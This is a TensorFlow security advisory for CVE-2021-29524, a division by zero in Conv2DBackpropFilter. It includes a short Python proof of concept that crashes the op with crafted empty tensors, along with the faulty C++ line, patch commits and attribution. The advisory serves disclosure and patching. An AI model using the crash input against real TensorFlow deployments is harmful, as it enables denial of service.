GHSA-r4pj-74mg-8868

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GHSA-r4pj-74mg-8868

Summary: Division by 0 in `Conv2DBackpropFilter`

Details: ### Impact An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`: ```python import tensorflow as tf input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 18, 1], use_cudnn_on_gpu=True, padding='SAME', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1]) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/496c2630e51c1a478f095b084329acedb253db6b/tensorflow/core/kernels/conv_grad_shape_utils.cc#L130) does a modulus operation where the divisor is controlled by the caller: ```cc if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... } ``` ### Patches We have patched the issue in GitHub commit [fca9874a9b42a2134f907d2fb46ab774a831404a](https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r4pj-74mg-8868, https://nvd.nist.gov/vuln/detail/CVE-2021-29524, https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-452.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-650.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-161.yaml, https://github.com/tensorflow/tensorflow